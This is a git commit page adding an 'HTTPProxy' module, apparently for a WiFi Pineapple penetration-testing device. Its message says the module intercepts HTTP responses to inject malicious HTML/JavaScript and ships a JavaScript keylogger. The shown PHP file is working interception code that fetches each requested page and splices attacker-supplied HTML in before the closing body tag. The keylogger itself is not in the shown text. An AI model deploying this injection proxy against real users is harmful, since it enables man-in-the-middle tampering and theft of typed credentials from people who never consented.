HTTPProxy Module (#1)

HTTPProxy will allow you to intercept the HTTP response and injection a malicious HTML/JavaScript code, also it has a keylogger written in JavaScript which allows the attacker to log the user inputs
This commit is contained in:
malduhaymi
2017-11-19 23:49:08 +03:00
committed by Sebastian Kinne
parent d0aa1e38ef
commit d613645576
11 changed files with 958 additions and 0 deletions

View File

@@ -0,0 +1,19 @@
<?php
// HTTPProxy version 1.0 only handle HTTP Get Request , in the next version we will handle POST requests.
header('Content-Type: text/html');
header_remove('Content-Type');
$url=$_SERVER['HTTP_HOST'];
$_SERVER['REQUEST_URI'];
$y=file_get_contents("http://".$url.$_SERVER['REQUEST_URI']);
// read HTML injection
$htmlFile = fopen("/pineapple/modules/HTTPProxy/assets/HTML/htmlFile.txt", "r") ;
$htmlInjection=fread($htmlFile,10000);
echo $copy_date = preg_replace("'</body>'", $htmlInjection."</body>", $y);